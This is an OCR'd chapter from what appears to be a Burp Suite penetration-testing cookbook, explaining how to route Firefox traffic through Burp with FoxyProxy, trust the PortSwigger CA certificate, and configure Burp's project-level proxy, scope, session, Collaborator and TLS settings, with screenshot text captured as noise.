https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

Establishing trust over HTTPS

How to do it...
Ensure Burp Suite is started. Then, execute the following steps:
1. Download the FoxyProxy Standard add-on and install the extension in the Firefox browser.

@ addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/?

$s Firefox Browser
\ ADD—ONS Extensions Th

2/

FoxyProxy Standard

Figure 3.1 - FoxyProxy Standard Firefox add-on

2. Configure FoxyProxy Standard to act as a pass-through to Burp. Click Add and fill in the
settings, as shown here. Click Save when youre done:

@ Edit Proxy Burp suite

Title or Description (optional) Proxy Type
[ Burp suite ] HTTP
Color Proxy IP address or DNS name
Port
8080

Figure 3.2 - How to configure FoxyProxy Standard with Burp
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You should see the following output when you’re done:

’@ FoxyProxy Options

© Add o
3 ) Burp suite v Synchronize Settings (8]
mm Import Settings -

= Import Proxy List @ Burpsuite  127.0.0.1 (on @ Wl Edit | Patterns |
;'; Export Settings

@ Delete Al

¥ Delete Browser Data

@ Whats My IP?

E Log

o About

Figure 3.3 — FoxyProxy Standard with Burp Suite configured

3. Toggle the FoxyProxy button to On to begin channeling all browser traffic so that it flows
through Burp:

Figure 3.4 — Toggling FoxyProxy Standard on to intercept traffic to send to Burp Suite
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This is how FoxyProxy looks when toggled on to allow browser traffic to flow through Burp Suite:

("% ‘ Burp Suite Professional x + v = O =

< - C O&burp < !ﬁ;

Burp Suite Professional CA Certificate

Welcome to Burp Suite Professional.

Figure 3.5 — FoxyProxy Standard toggled on

4. To establish trust between Burp’s certificate and the target application, you will need to add
Burp’s certificate to your browser and check it as trusted. To do this, open your Firefox browser
tohttp://burp. You must type the URL exactly as shown to reach this page. You should
see the following screen in your browser. Note the link on the right-hand side labeled CA
Certificate. Click this link to download the PortSwigger CA certificate:

(€)> ¢ @ ® http/bup e @ T N @ =

Burp Suite Professional CA Certificate

Welcome to Burp Suite Professional.

Figure 3.6 — URL to download the PortSwigger CA certificate

5.  You will be presented with a dialog box prompting you to download the PortSwigger CA
certificate. The file is labeled cacert . der. Download the file to a location on your hard drive.

6. In Firefox, open the Firefox menu. Then, click Options.

7. Click Privacy & Security on the left-hand side and scroll down to the Certificates section.
Click the View Certificates... button:
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&« - ¢ @ © Firefox  aboutpreferences#privacy w N

£ Find in Options

'ﬂ' General Firefox for everyone. We always ask permission before receiving personal information.
Privacy Notice
@ Home : B :
v Allow Firefox to send technical and interaction data to Mozilla Learn more
Q Search v Allow Firefox to install and run studies View Firefox Studies
Allow Firefox to send backlogged crash reports on your behalf Learn more

a Privacy & Security

&3 Firefox Account Security

Deceptive Content and Dangerous Software Protection
¥ Block dangerous and deceptive content Learn more
v Block dangerous downloads

¥ Warn you about unwanted and uncommon software

I Certificates

When a server requests your personal certificate

Select one automatically

® Ask you every time

y Query OCSP responder servers to confirm the current validity of View Certificates...

certificates . .
@ Firefox Support Security Devices...

Figure 3.7 - Firefox settings to install the PortSwigger certificate

8. Select the Authorities tab. Click Import, select the PortSwigger CA certificate file that you
previously saved, and click Open:
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Certificate Manager X

Your Certificates People Servers Authorities

You have certificates on file that identify these certificate authorities

Certificate Name | Security Device | ®n

vAC Camerfirma S.A. i
Chambers of Commerce Root - 2008 Builtin Object Token
Global Chambersign Root - 2008 Builtin Object Token

vAC Camerfirma SA CIF A82743287
Camerfirma Chambers of Commerce Root Builtin Object Token
Camerfirma Global Chambersign Root Builtin Object Token

vACCV
ACCVRAIZ1 Builtin Object Token

vActalis 5.p.A./03358520967 d
View... Edit Trust... Import... Export... Delete or Distrust...

oK

Figure 3.8 — Importing the PortSwigger CA certificate into your Firefox browser

9. Inthe dialog box that appears, check the Trust this CA to identify websites box and click OK.
Click OK on the Certificate Manager dialog as well:
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Downloading Certificate X

You have been asked to trust a new Certificate Authority (CA).

Do you want to trust “PortSwigger CA” for the following purposes?

I Trust this CA to identify websites.
[ Trust this CA to identify email users.

Before trusting this CA for any purpose, you should examine its certificate and its policy and
procedures (if available).

View Examine CA certificate

OK Cancel

Figure 3.9 - Explicit trust you must give to the PortSwigger CA certificate

Close all dialog boxes and restart the Firefox browser. If the installation was successful, you should
now be able to visit any HTTPS URL in your browser while proxying the traffic through Burp Suite
without any security warnings.

There’s more...

As a simpler alternative to using FoxyProxy and having to import Burp’s certificate to your browser,
you can use the browser built into Burp Suite instead. To access this, go to Proxy from the top menu,
choose the Intercept sub-menu, and then click the Open browser button:

Burp Project Intruder Repeater Window Help Burp Suite Professional v202
Dashboard Tar Proxy Intruder Repeater Collaborator Sequencer
| Intercept history WebSockets history {5} Proxy settings

Forward Drop Intercept is off | Action | Open browser

Figure 3.10 — Burp Suite’s browser is an alternative to using FoxyProxy Standard or an external browser
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This built-in browser takes care of establishing certificate trust and takes care of proxying all traffic
into Burp. Burp’s browser is one of the most efficient and user-friendly features that’s been added in
recent years.

Here’s a screenshot of Burp Suite’s built-in browser:

Burp Suite x 4+ ~ - B &
c (al 2 ) * & 02
Burp Suite
Develop an in-depth Make the most out of
knowledge of web Burp Suite Professional

security vulnerabilities

Figure 3.11 - Burp Suite’s browser upon startup

Setting project configurations

Project settings allow a tester to save or set configurations specific to a project or scoped target. These
settings are stored within the Project file, which is created upon launching the Burp Suite application.
There are multiple subsections available under the Project section, which include Tools, Project,
Sessions, and Network. Many of these options are required for pentesters when they’re assessing
specific targets, which is why they are covered here. As we iterate through each area, we will provide
some recommendations that you may find helpful during your testing.

How to do it...

1. To access all Project level configurations, click the Settings gear icon in the top right-hand
corner of Burp Suite:

= O X
@ Settings

@ .

ntative D | Search

Figure 3.12 - Project-level settings are available upon clicking Settings
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2. A new pop-out window will appear. Make sure you have Project selected within the left-hand
menu, at the top of the pop-out window:

Settings
| Search o

All ) [ User Project z =

Figure 3.13 - Inside the pop-out window, make sure Project is highlighted

3. 'The subsections included under Project are Tools, Project, Sessions, and Network:

b3 Settings
B setting

Search el

w) e |G| T -

v Tools

Proxy
Repeater
Sequencer
Burp's browser
v Project
Scope
Collaborator
Tasks
Logging
Sessions
v Network
Connections
TLS
HTTP

@ Configuration library

Figure 3.14 - All Project configurations available in the pop-out window
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The Project | Tools tab

This tab allows you to set configurations for the Proxy, Repeater, Sequencer, and Burp’s browser
Burp Suite tools. To add some color, we will provide some recommendations regarding some of these
areas to assist you during your penetration testing journey:

Settings

| Search 2

All User

~ Tools
Proxy
Repeater

Sequencer

Burp's browser

Figure 3.15 - Project | Tools menu items

The Project | Tools | Proxy tab

Under the Proxy tab, a tester has the following options:

o Proxy listeners:

Out of the box, Burp Suite configures a default proxy listener for your localhost to run on port
8080. Other proxy listeners can be configured in this area for testing unusual applications,
such as mobile apps. For most testers, the default configuration is fine:

Manage global settings
@ Proxy listeners Project setting

@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.

| Add || Running Interface Invisible Redirect Certificate TLS Protocols Support HTTP/2
[ Edt | 127.0.0.1:3080 Per-host Default
Remove
\ | 5

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating TLS connections. You can import or export this certificate for use in other tools or
another installation of Burp.

| Import / export CA certificate || R CA certificate |

Figure 3.16 - Listing of default proxy listeners
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o Request interception rules:

By default, Burp Suite Proxy is configured to listen to and intercept all HTTP requests except
for images ("gif$, *jpgs, “png$, “csss, “iss, “icos, “svgs$, “eots, "woffs,
“woff2$, and “tt£$). If you wish to change the default setting, you may do so here. For
most testers, the default configuration is fine:

F

@ Request interception rules

@ Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

Intercept requests based on the following rules: Master interception is turned off

| Add | Enabled  Operator Match type Relationship Condition
| Edit | File extension Does not match (*gifS|*jpg$|" pngS| " cssS| *jsS| *ico...
——— O Or Request Contains parameters
| Remove || (o HTTP method Does not match (get|post) >
[ Up | O And URL Is in target scope
| Down |
__| Automatically fix missing or superfluous new lines at end of request
Automatically update Content-Length header when the request is edited
Figure 3.17 — Request interception rules by default
» Response interception rules:
By default, Burp Suite Proxy is not configured to intercept HT TP responses:
()| Request interception rules Project setting
@ Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.
Intercept requests based on the following rules: Master interception is turmed off
Add Enabled Operator Match type Relationship Condition
Edit File extension Does not match (*gifS|*jpg$|*png8|*csss|*js8| Mico...
Or Request Contains parameters
Remove Or HTTP method Does not match (get|post) »
Up And URL Is in target scope
Down

Automatically fix missing or superfluous new lines at end of request

Automatically update Content-Length header when the request is edited

Figure 3.18 — Response interception rules, turned off by default
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The advantage of capturing responses is that you can manipulate status codes and response
bodies to determine if JavaScript on the web page reacts differently based on such changes.
To begin to capture every HTTP response before displaying them in your browser, make the
following changes:

@ Response interception rules Project setting
@ Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.
| Intercept responses based on the following ru|e4 Master interception is tumed off
Add Enabled  Operator Match type Relationship Condition
Edit | Content type hea... Matches text
Or Request Was modified
Remove Or Request Was intercepted [
Up And Status code Does not match A3048
And URL Is in target scope
Down

Automatically update Content-Length header when the response is edited
Figure 3.19 - Recommended changes to Response interception rules

o WebSocket interception rules:

When an application uses WebSockets, this setting controls the interception of those messages.
For most testers, the default configuration is fine:

@ WebSocket interception rules Project setting

@ Use these settings to control which WebSockets messages are stalled for viewing and editing in the Intercept tab.
Intercept client-to-server messages

Intercept server-to-client messages

Figure 3.20 - WebSocket interception rules

« Response modification rules:

Burp Suite allows you to rewrite the HTML response before you forward it to your local browser.
In this section, you may configure Burp Suite to unhide hidden form fields or even disable
JavaScript on the response page:
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@ Response modification rules

@ Use these settings to control how Burp automatically modifies responses,

Unhide hidden form fields

Prominently highlight unhidden fields

Enable disabled form fields

Remove input field length limits

Remove JavaScript form validation

Remove all JavaScript

Remove <object> tags

Convert HTTPS links to HTTP

Remove secure flag from cookies

Figure 3.21 - Response modification rules by default

o Match and replace rules:

Project setting

Burp Suite provides a very powerful Match and replace rules table so that you can automatically
replace values within requests or responses before interception. Uses for this table are at the
tester’s discretion. For example, you may want to use this table to replace, say, your user agent to
have your browser look like a mobile phone. Alternatively, you may want to use it to set cookie
values or even remove headers! You can even add regular expression rules to match values:

(’Dl Match and replace rules

{§} Use these settings to automatically replace parts of requests and responses passing through the Proxy.

Add Enabled Item
Edit Request header
Request header
hemor Request header
Up Request header
Request header
Hovn Request header

Request header

Match
~User-Agent.”$
AUser-Agent."$
“User-Agent.”$
*If-Modified-Since.*§
~lf-None-Match.*$
~Referer.”$
*Accept-Encoding.”$

Replace
User-Agent: Mozilla/4.0 (compati...
User-Agent: Mozilla/5.0 (iPhone; ...
User-Agent: Mozilla/5.0 (Linux; U;...

Type

Regex
Regex
Regex
Regex
Regex
Regex
Regex

Figure 3.22 — The Match and replace rules table

o TLS pass through:

Project setting
Comment
Emulate IE
Emulate i0S
Emulate Android »

Require non-cached response
Require non-cached response
Hide Referer header

Require non-compressed res...

You can use TLS pass through to identify your destination when other devices sit in front of
your target. Burp Suite will pass the traffic through those devices, seeking only your target:
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@ TLS pass through Project setting

{é} Use these settings to specify destination webservers for which Burp will directly pass through TLS connections. No details about requests
or responses made via these connections will be available in the Proxy intercept view or history,

Add Enabled Host / IP range Port
Edit

Remove
Paste URL

Lead ...

Automatically add entries on client TLS negotiation failure

Figure 3.23 - TLS pass through

« Miscellaneous:

A catchall area for Burp Suite Proxy behavior is in Miscellaneous. This area allows you to
change the HTTP protocol that’s used to a very old version, HTTP/1.0. This area also allows
gzip deflation controls. For most testers, the default configuration is fine:

©)

Miscellaneous Project setting

@ Use these settings to change Burp Proxy's default behavior

Use HTTP/1.0 in requests to server

Use HTTP/1.0 in responses to client

Set response header "Connection: close”
Set "Connection" header on incoming requests when using HTTR/1
Strip Proxy-* headers in incoming requests
Remove unsupported encodings from Accept-Encoding headers in incoming requests
Strip Sec-WebSocket-Extensions headers in incoming requests
__| Unpack gzip / deflate in requests
Unpack gzip / deflate in responses

Disable web interface at http://burpsuite

Suppress Burp error messages in browser

Don't send items to Proxy history or live tasks

Don't send items to Proxy history or live tasks, if out of scope

Figure 3.24 - Miscellaneous settings
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The Project | Tools | Repeater tab
Under the Repeater tab, a tester has the following options:
o Connections:

This setting controls if Repeater will reuse the same connection and protocol used in the original
request or have Burp Suite create a new connection and change the protocol. For most testers,
the default configuration is fine:

© [Eommi ] —

{§} Use these settings to control how Repeater handles connection reuse, and whether it can send HTTP/2 requests even when the server doesn't advertise HTTP/2 support via ALPN.

HTTP/1 connection reuse
HTTP/2 connection reuse
Allow HTTP/2 ALPN override

Figure 3.25 - Connections

« Message modification:

Any modifications made within this section are saved to the current project only. For most
testers, the default configuration is fine:

@ Message modification Project setting

@ Use these settings to tweak aspects of Repeater's behavior when sending or receiving messages.

Update content length

Unpack gzip / deflate

Normalize HTTP/1 line endings

Strip Connection header over HTTP/2

Figure 3.26 — Message modification

o Redirects:

When using Burp Suite Repeater, whenever a 302 Redirect is encountered, you may control
the behavior or Repeater here. For most testers, they choose to not have the redirection done
automatically, so the default setting will usually suffice:
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Redirects Project setting

@

@ Use these settings to control how Repeater should handle redirection responses.
Follow redirects

(® Never
On-site only
In-scope only

_ Always

Process cookies in redirects

Use selected protocol for cross-domain redirects

Figure 3.27 — Redirects

o Default tab group:

Unless you are performing client-desync attacks with multiple tab groups, you probably won’t
need to modify this setting. This area allows you to specify which tab group any new requests
to Repeater will be sent:

@ Default tab group Project setting

Use this setting to control which tab group new requests are added to when sent to Repeater.

Default tab group ' Ungrouped

Figure 3.28 — Default tab group

The Project | Tools | Sequencer tab
Under the Sequencer tab, a tester has the following options:

o Live capture:

This setting controls the number of threads and behavior the Sequencer will use when harvesting
tokens from live requests. For most testers, the default configuration is fine:
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@

Live capture Project setting

&

©,
&

Use these settings to control the engine used for making HTTP requests and harvesting tokens when performing the live capture.

Number of threads: 5
Throttle between requests (milliseconds): 0

Ignore tokens whose length deviates by | 5 characters
Figure 3.29 - Live capture

o Token handling:

This setting controls how each harvested token is handled during analysis. For most testers,
the default configuration is fine:

Token handling Project setting

Use these settings to control how tokens are handled during analysis.
Pad short tokens at: (® Start End

Pad with (single character or 2-digit ASCIl hex code): | 0
Basebd-decode before analyzing

Figure 3.30 - Token handling

o Token analysis:

This setting controls the types of tests that are performed against the tokens. For most testers,
the default configuration is fine:

@ Token analysis Project setting

@ Use these settings to control the types of analysis performed by Burp Sequencer.
Count
Transitions

The options below control the types of analysis that is performed at the bit level.

FIPS monaobit Spectral

FIPS poker Correlation
FIPS runs Compression
FIPS long run

Figure 3.31 - Token analysis
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The Project | Tools | Burp’s browser tab

This setting controls Burp’s built-in Chromium browser and allows you to use your machine’s graphics
processing unit (GPU). You may also specify running the built-in browser without a sandbox. The
sandbox setting is a protection mechanism for any compromised target applications affecting your
local machine. For most testers, the default configuration is fine:

(2) | Browser running Project setting

‘{é} Use these settings to control whether Burp's browser can run without a sandbox or attempt to use the GPU.

Run Burp's browser without a sandbox

Note: Scanning hostile websites without the sandbox increases the risk of your local system being compromised

Use the GPU

Figure 3.32 - The Browser running setting for Burp's browser

The Project | Project | Scope tab
Under the Scope tab, a tester has the following options:

o Target scope:

The Setting the target site map recipe in Chapter 2 showed you how to set your target scope for
this area. Notice that there is also an Exclude from scope section, which allows you to specify
URLs you do not wish to be included, which, most commonly, are logout links:

Project > Scope Manage global settings |

® Prjectseting

{‘:3} Use these settings to define exactly what hosts and URLs constitute the target for your current work. This configuration affects the behavior of tools throughout the suite.

Use advanced scope control

Include in scope

Add Enabled Prefix
Edit
Remove
»
Paste URL
Load ...
Exclude from scope
Add Enabled Prefix
Edit
Ry
emove ’

Paste URL
Load ...

Figure 3.33 - Target scope
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o Out-of-scope request handling:

This setting, when turned on, will have Burp Suite drop any requests that are not in scope,
even if they’re requested within the browser. For most testers, the default configuration is fine:

@ Qut-of-scope request handling Project setting

@ Use these settings to define how Burp handles any out-of-scope requests.
Drop all out-of-scope requests

Use suite scope [defined above]

Use custom SCope
Figure 3.34 - Out-of-scope request handling

The Project | Project | Collaborator tab

Burp Suite Collaborator is a feature of Burp Suite Professional that provides the tester with access to an
external server for capturing DNS and/or HTTP requests made by internal target servers. This is a very
powerful feature for an attacker because many vulnerabilities can be proven using Collaborator. Such
vulnerabilities include server-side request forgery (SSRF), data exfiltration via cross-site scripting
(XSS), cookie stealing, and many more. Most testers use the PortSwigger-provided Collaborator
server, but you can also configure your own in this setting and use that instead. See Chapter 11 for
more details on how to use Burp Collaborator server:

Project > Collaborator Manage global settings :

@ |Burp Collaborator server | Project setting

@ Burp Collaborator is an external service that Burp can use to help discover many kinds of vulnerabilities. You can use the default Collaborator server provided by PortSwigger, or
deploy your own instance. You should read the full documentation for this feature and decide which option is most appropriate for you.

(® Use the default Collaborator server
Don't use Burp Collaborator

Use a private Collaborator server:

Server location:

Polling location (optional):

Poll over unencrypted HTTP

Run health check ...

Figure 3.35 - Burp Collaborator server

This section has a button for running a health check. Clicking Run health check allows you to check
your connectivity to all the external services offered on the external Collaborator server:
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EJ Burp Collaborator Health Check = B

(®) Burp Collaborator Health Check

X

Initiating health check

Server address resolution Success
Server HTTP connection Success
Server HTTPS connection (trust enforced) Success
Server HTTPS connection (trust not enforced) Success
Server SMTP connection on port 25 Success
Server SMTP connection on port 587 Success
Server SMTPS connection (trust enforced) Success
Server SMTPS connection (trust not enforced) Success
Polling server address resolution Success
Polling server connection Success
Verify DNS interaction Success
Verify HTTP interaction Success
Verify HTTPS interaction Success
Verify SMTP interaction Success
Verify SMTPS interaction Success
Server version Success

Al tests were successful.

| Close

Figure 3.36 - Burp Collaborator Health Check

The Project | Project | Tasks tab
Under the Tasks tab, a tester has the following options:

« Resource pools:

Resource pools are threads that are available to intruder and scanning tasks. This setting allows
you to create custom resource pools of lower concurrent requests (threads) as well as throttle
request timing. The use of the default setting is completely dependent on the target application’s
ability to handle multiple requests at the same time. If you are in doubt, create a custom resource
pool with less than 10 concurrent requests:
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Manage global settings |
— .

A resource pool is a grouping of tasks that share a quota of network resources. Each resource pool can have its own throttling settings, contrelling the number of concurrent
requests that can be made, the rate at which those requests can be made, or both,

New... Resource pool Running tasks Concurrent requests Request delay =~ Random delay Delay increment  Auto backoff
Edit Default resource pool i 10 Yes
Delete
»>

Figure 3.37 — Resource pools

o New task auto-start:

Tasks are autonomous scans you can run in the background. This setting allows you to configure
whether you wish for those tasks to auto-start as soon as you create them. For most testers, the
default configuration is fine:

(3) | New task auto-start Project setting
Use this setting to control whether tasks automatically start when they are created.

© Start tasks

Pause tasks

Figure 3.38 — New task auto-start

e Schedule tasks:

If you wish to schedule your tasks, this setting allows you to set the date, time, and frequency
for specific tasks to start and stop:

(2)| Schedule tasks Project setting
@ Use these settings to specify defined times that Burp performs tasks.

Add Time Repeat Task
Edit

Remove

Figure 3.39 - Schedule tasks
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The Project | Project | Logging tab

The Logging tab allows you to specify which tools will log their requests and/or responses to a file. If
selected, the user will be prompted for a filename and location to save the log file on the local machine.
For most testers, this feature is usually not used:

Project > Logging

() | Logging

Manage global settings :

Project setting

@} Use these settings to control logging of HTTP requests and responses to log files.

All tools:

Proxy:
Scanner
Intruder:
Repeaten
Sequencer:

Extensions:

Requests
Requests
Requests
Requests
Requests
Requests
Requests

Responses

Responses
Responses
Responses
Responses
Responses

Responses

The Project | Sessions tab

Figure 3.40 - Logging

See Chapter 10 for more recipes on how to use the functionality contained within the Sessions tab.
The Sessions tab consists of the Session handling rules, Cookie jar, and Macros areas.

Under the Sessions tab, a tester has the following options:

o Session handling rules: This area allows you to configure customized session handling rules
while assessing a web application. By default, Burp Suite captures and uses all cookies seen in
the HTTP traffic and saves them inside the Cookie jar area:
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(%)| Session handling rules [oeraer o

@ You can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular tools, URLs or
parameters), and can perform actions such as adding session cookies, logging in to the application, or checking session validity. Before each request is issued, Burp applies in
sequence each of the rules that are in-scope for the request. Use these settings to manage your active session handling rules.

Add Enabled Description Tools

Edit Use cookies from Burp's cookie jar Scanner

Remove

Duplicate
Up

Down

Use the sessions tracer to monitor or troubleshoot the behavior of your session handling rules.

Open sessions tracer

Figure 3.41 - Session handling rules

« Cookie jar: The Cookie jar area provides a list of cookies, their respective domains and paths,
and name/value pairs captured by Burp Suite Proxy (by default). Cookies inside the Cookie
jar area are also editable:

o[ -

@ Burp maintains a cookie jar that stores all of the cookies issued by visited web sites. Session handling rules can use and update these cookies to maintain valid sessions with
applications that are being tested. You can use the settings below to control how Burp automatically updates the cookie jar based on traffic from particular tools.

Use these settings to control which tools can update the cookie jar.
Proxy Scanner Repeater

Intruder Sequencer Extensions

Open cookie jar

Figure 3.42 — Cookie jar

o Macros: The Macros section allows testers to script requests/responses previously performed
to automate activities while they’re interacting with the target application:

O wacres | S—

@ A macro is a sequence of one or more requests. You can use macros within session handling rules to perferm tasks such as logging in to the applicaticn, cbtaining anti-CSRF
tokens, etc. Use these settings to manage your macros.

Add
Edit
Remove
Duplicate
Up

Down

Figure 3.43 — Macros
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The Project | Network tab

The Network tab offers controls for the Connections, TLS, and HTTP areas.

The Project | Network | Connections tab

The Connections tab allows a tester to control specific interactions such as authentication and

Pproxy servers:

 Platform authentication allows you to automate how Burp Suite can authenticate against target
platforms. The default setting of this feature is at the User setting level:

Network > Connections Manage global settings :

User setting  Project setting

©

Platform authentication

You can configure Burp to automatically carry out platform authentication to destination web servers. Use these settings to manage your platform authentication credentials.
Override options for this project only

Do platform authentication

Add Enabled Destination host Type Usemname  Domain Domain hostname
Edit

Remove

Prompt for credentials on platform authentication failure

Figure 3.44 - Platform authentication

If the Project setting level is desired, you must use the slider on the left to activate Override
options for this project only:
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® Platform authentication User setting

@ You can configure Burp to automatically carry out platform authentication to destination web servers. Use these settings to manage your platform authentication credentials.

@D Override options for this project only

Do platform authentication

Add Enabled Destination host Type Username  Domain Domain hostname
Edit

Remove
>

Prompt for credentials on platform authentication failure

Figure 3.45 - Platform authentication override settings

After clicking the Add checkbox, you will be presented with a table of authentication options
(that is, Basic, NTLMv2, or NTLMv1) to be used against the target platform. The destination
host is commonly set to the wildcard (*) character and the credentials and domain must be
known beforehand:

Add platform authentication credentials X

@ Enter the platform credentials for the specified destination host.

Destination host: * ‘
Authentication type: o
Username: Basic ‘
Password: i

NTLMw1
Domain:

Domain hostname:

oK Cancel
Figure 3.46 — Add platform authentication credentials

o The Timeouts area allows you to specify timeout thresholds when Burp Suite attempts connections
to target applications. For most testers, the default configuration is fine:
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( :4 Timeouts Project setting

@ Use these settings to specify the timeouts to be used for various network tasks, Values are in seconds, If an option is set to zero or left blank, then Burp will never time out that

function.

Connect: 120
Normal: 120
Open-ended responses: 10
Dormain name resolution: 300

Failed domain name resolution: | 60

Figure 3.47 — Timeouts

o The Upstream proxy servers setting allows you to identify any upstream proxy servers to reach
the target application. The default setting of this feature is at the User setting level:

|(_‘D Upstream proxy servers | User setting  Project setting

Use these settings to control whether Burp sends outgoing requests to an upstream proxy server, or directly to the destination web server. The first rule that matches each
destination host is used. To send all traffic to a single proxy server, create a rule with * as the destination host.

(O Override opticns for this project only

Add Enabled Destination host Proxy host Proxy port Authtype Username
Edit
Remove
Up

Down

Figure 3.48 — Upstream proxy servers

If the Project setting level is desired, you must use the slider on the left to activate Override
options for this project only:

@ Upstream proxy servers User setting | Project setting

@ Use these settings to control whether Burp sends outgoing requests to an upstream proxy server, or directly to the destination web server. The first rule that matches each
destination host is used. To send all traffic to a single proxy server, create a rule with * as the destination host.

@D Override options for this project only

Add Enabled Destination host Proxy host Proxy port  Authtype Username
Edit

Remove
Up

Down

Figure 3.49 - Override settings for upstream proxy servers for the Project setting level
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After clicking the checkbox to override the user’s options, you will be presented with a table for
enabling upstream proxy options specific to this project. Clicking the Add button will display
a pop-up box called Add upstream proxy rule. This rule is specific to the target application’s
environment. This feature is very helpful if the target application’s environment is fronted with
a web proxy that requires a different set of credentials than the application login:

Add upstream proxy rule X
Enter the details of the upstream proxy rule. You can use wildcards to specify
destination hosts (* matches zero or more characters, 7 matches any character

except a dot). Leave the proxy host blank to connect directly for the specified
destination host.

Destination host: »

Proxy host: l |
Proxy port:
Authentication type:  None o
Username: None
‘ Basic
Password: NTLMv2
Domain: NTLMw1

Domain hostname:

0K Cancel

Figure 3.50 — Adding details for an upstream proxy rule

o Hostname resolution overrides allows you to add host entries similar to a host file on a local
machine to override the Domain Name System (DNS) resolution:
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@ Hostname resolution overrides Project setting

@} Use these settings to specify mappings of hostnames to IP addresses.

Add Enabled Hostname IP address
Edit

Remove

Figure 3.51 - How to add hostname resolutions

o SOCKS proxy allows Burp Suite to reach a target via a SOCKS proxy configuration. The default
setting of this feature is at the User setting level:

@ Use these settings to configure Burp to use a SOCKS proxy for all outgoing communications. This setting is applied at the TCP level, and all outbound requests will be sent via
this proxy. If you have configured rules for upstream HTTP proxy servers, then requests to upstream proxies will be sent via the SOCKS proxy configured here.

(I Override options for this project only

Use SOCKS proxy

SOCKS proxy host: | 127.0.0.1
SOCKS proxy port: | 9999
Username:

Password:

Do DNS lookups over SOCKS proxy

Figure 3.52 - SOCKS proxy

If the Project setting level is desired, you must use the slider on the left to activate Override
options for this project only:
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o] s [

@ Use these settings to configure Burp to use a SOCKS proxy for all outgoing communications. This setting is applied at the TCP level, and all outbound requests will be sent via
this proxy. If you have configured rules for upstream HTTP proxy servers, then requests to upstream proxies will be sent via the SOCKS proxy configured here.

@D Override options for this project only

Use SOCKS proxy

SOCKS proxy host:
SOCKS proxy port:
Username:

Password:

Do DNS lookups over SOCKS proxy

Figure 3.53 — Overriding the SOCK project settings for the Project setting level

The Project | Network | TLS tab

The options under the TLS tab allow you to configure certificates and various TLS-related settings.
The TLS negotiation, Client TLS certificates, and Server TLS certificates areas can be found here:

o TLS negotiation:

When Burp Suite communicates with a target application over TLS, this option allows you to
use preconfigured ciphers or specify different ones:

Network > TLS Manage global settings

2] 15 negotition | bt

@ Use these settings to control the TLS protocols and ciphers that Burp uses when performing TLS negotiation with upstream servers, Use these settings with caution, as
misconfiguration may break your outgoing TLS connections.

TLS Trust

Verify upstream TLS

(® Use all supported protocols and ciphers of your Java installation
Use the default protocols and ciphers of your Java installation

Use custom protocols and ciphers

TLS Negotiation Workarounds
Allow unsafe renegotiation (required for some client certificates)

Disable TLS session resume
Figure 3.54 - TLS negotiation

If you wish to customize the ciphers, you can click the Use custom protocols and ciphers
radio button. A table will appear, allowing you to select protocols and ciphers that Burp Suite
can use while communicating with the target application:



Setting project configurations 79

Network > TLS Manage global settings :

(3) TLS negotiation Project setting

@ Use these settings to control the TLS protocols and ciphers that Burp uses when performing TLS negotiation with upstream servers. Use these settings with caution, as
misconfiguration may break your outgoing TLS connections.

TLS Trust

Verify upstream TLS

_! Use all supported protocols and ciphers of your Java installation

Use the default protocols and ciphers of your Java installation

@® Use custom protocols and ciphers |

TLS Protocols
Select all Enabled Protocol
Select none TLSv1.3
TLSv1.2
TLSV11 »
TLSv1
S5Lv3
SSLv2Hello
TLS Ciphers
Select all Enabled Cipher
Select none TLS_AES_256_GCM_SHA384
TLS_AES_128_GCM_SHA256
TLS_CHACHA20_POLY1305_SHA256 »
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_CHACHAZ20_POLY1305_SHA256
TLS ECDHE RSA WITH AES 256 GCM SHA384
TLS Negotiation Workarounds

Allow unsafe renegotiation (required for some client certificates)

Disable TLS session resume

Figure 3.55 - TLS negotiation using custom protocols

o Client TLS certificates:

If you wish to use client-side certificates against your target application, you can configure those
certificates within this section. Keep in mind that you must have access to the private key when
adding your client-side certificate. The default setting of this feature is at the User setting level:
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@ Use these settings to configure the client TLS certificates that Burp will use when a destination host requests one. You can configure multiple certificates, and specify the hosts
for which each certificate should be used. When a host requests a client TLS certificate, Burp uses the first certificate in the list whose host configuration matches the name of
the host being contacted.

(O Override options for this project only

Add Enabled Host Type Alias Subject Issuer Key

Remove
Up

Down

Figure 3.56 — Client TLS certificates

If the Project setting level is desired, you must use the slider on the left to activate Override
options for this project only:

o] e

@ Use these settings to configure the client TLS certificates that Burp will use when a destination host requests one. You can configure multiple certificates, and specify the hosts
for which each certificate should be used. When a host requests a client TLS certificate, Burp uses the first certificate in the list whose host configuration matches the name of
the host being contacted.

@ Override options for this project only

Add Enabled Host Type Alias Subject Issuer Key

Remove
Up

Down

Figure 3.57 — Overriding Client TLS certificates for the Project setting level

o Server TLS certificates:

This table is read-only and provides a list of all server-side certificates Burp Suite has received
from various web servers. You can double-click any of these line items to view the details of
each certificate:
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@ Server TLS certificates Project setting

O This panel shows a list of the unique TLS certificates received from web servers. Double-click an item to show the full details of the certificate.

Host Name Issuer

Figure 3.58 — Server TLS certificates

The Project | Network | HTTP tab

Under the HTTP tab, a tester has the following options:

o Allowed redirect types provides redirection types for Burp Suite to use while capturing HTTP
traffic. For most testers, the default setting is fine:

| Network > HTIP | Manage global settings :

@ Allowed redirect types Project setting
@ Use these settings to control the redirection types that Burp uses in situations where it is configured to follow redirections.

When following redirections, understand the following types:

3xx status code with Location header
Refresh header
Meta refresh tag

JavaScript-driven

Any status code with Location header

Figure 3.59 - Allowed redirect types

o Streaming responses provides configurations related to responses that stream indefinitely. For
most testers, the default setting is fine:
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@ Streaming responses Project setting

O7 Use these settings to specify which URLS return “streaming” responses, which do not terminate.

The Proxy passes these responses straight through to the client as data is received. Repeater updates the response panel in real time as data is received. Other tools ignore
streaming responses and close the connection.

Use advanced scope control

Add Enabled Prefix
Edit
Remove »
Paste URL

Load ...

Store streaming responses (may result in large temp files)

Strip chunked encoding metadata in streaming responses

Figure 3.60 — Streaming responses

« Status 100 response handling provides a setting for Burp Suite to handle HTTP status code
100 responses. For most testers, the default setting is fine:

